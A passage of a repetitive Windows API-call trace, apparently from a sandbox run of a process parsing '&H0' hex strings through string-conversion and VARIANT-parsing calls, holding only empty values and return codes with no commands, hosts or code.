CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.859] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.859] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.860] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.860] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.860] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.860] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.861] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.861] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.862] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.862] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.862] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.862] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.863] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.863] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.864] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.864] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.865] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.865] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.865] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.865] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.866] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.866] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.867] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.867] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.867] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.867] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.868] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.868] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.869] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.869] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.869] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.870] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.870] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.870] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.871] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.871] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.872] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.872] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.872] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.872] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.873] 